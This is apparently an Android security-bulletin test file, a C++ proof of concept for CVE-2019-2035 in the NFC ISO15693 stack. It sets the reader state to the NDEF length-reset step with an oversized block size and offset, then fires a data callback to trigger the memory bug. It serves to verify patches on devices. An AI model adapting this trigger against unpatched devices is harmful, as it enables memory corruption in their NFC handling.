hostsidetests/securitybulletin/securityPatch/CVE-2019-2035/poc.cpp

/*
 * Copyright (C) 2021 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include <stdlib.h>
#include <rw_int.h>
#include <nfc_int.h>

extern tRW_CB rw_cb;
extern tNFC_CB nfc_cb;
void rw_init(void);
tNFC_STATUS rw_i93_select(uint8_t* p_uid);

// borrowed from rw_i93.cc
enum {
    RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated            */
    RW_I93_STATE_IDLE, /* waiting for upper layer API          */
    RW_I93_STATE_BUSY, /* waiting for response from tag        */

    RW_I93_STATE_DETECT_NDEF, /* performing NDEF detection precedure  */
    RW_I93_STATE_READ_NDEF, /* performing read NDEF procedure       */
    RW_I93_STATE_UPDATE_NDEF, /* performing update NDEF procedure     */
    RW_I93_STATE_FORMAT, /* performing format procedure          */
    RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure   */

    RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag             */
};

// borrowed from rw_i93.cc
enum {
    RW_I93_SUBSTATE_WAIT_UID, /* waiting for response of inventory    */
    RW_I93_SUBSTATE_WAIT_SYS_INFO, /* waiting for response of get sys info */
    RW_I93_SUBSTATE_WAIT_CC, /* waiting for reading CC               */
    RW_I93_SUBSTATE_SEARCH_NDEF_TLV, /* searching NDEF TLV                   */
    RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked      */

    RW_I93_SUBSTATE_RESET_LEN, /* set length to 0 to update NDEF TLV   */
    RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV      */
    RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV             */

    RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
    RW_I93_SUBSTATE_CHECK_READ_ONLY, /* check if any block is locked         */
    RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
     */

    RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only             */
    RW_I93_SUBSTATE_LOCK_NDEF_TLV, /* lock blocks of NDEF TLV              */
    RW_I93_SUBSTATE_WAIT_LOCK_CC /* lock block of CC                     */
};

void GKI_freebuf(void*) {
}

void GKI_start_timer(uint8_t, int32_t, bool) {
}

void GKI_stop_timer(uint8_t) {
}

int main() {
    tRW_I93_CB* p_i93 = &rw_cb.tcb.i93;

    GKI_init();
    rw_init();

    uint8_t p_uid = 1;
    if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
        return EXIT_FAILURE;
    }

    tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
    tNFC_CONN_EVT event = NFC_DATA_CEVT;

    tNFC_CONN *p_data = (tNFC_CONN *) malloc(sizeof(tNFC_CONN));
    if (!p_data) {
        return EXIT_FAILURE;
    }

    p_data->data.p_data = (NFC_HDR *) malloc(sizeof(uint8_t) * 32);
    if (!(p_data->data.p_data)) {
        free(p_data);
        return EXIT_FAILURE;
    }

    NFC_HDR *p_resp = (NFC_HDR*) p_data->data.p_data;
    p_resp->len = 0;
    p_resp->offset = 0;

    p_i93->state = RW_I93_STATE_UPDATE_NDEF;
    p_i93->sub_state = RW_I93_SUBSTATE_RESET_LEN;
    p_i93->block_size = 2 * (I93_MAX_BLOCK_LENGH + 1);
    p_i93->ndef_tlv_start_offset = 2 * (I93_MAX_BLOCK_LENGH) - 1;
    p_data->status = NFC_STATUS_OK;

    p_cb->p_cback(0, event, p_data);
    free(p_data->data.p_data);
    free(p_data);
    return EXIT_SUCCESS;
}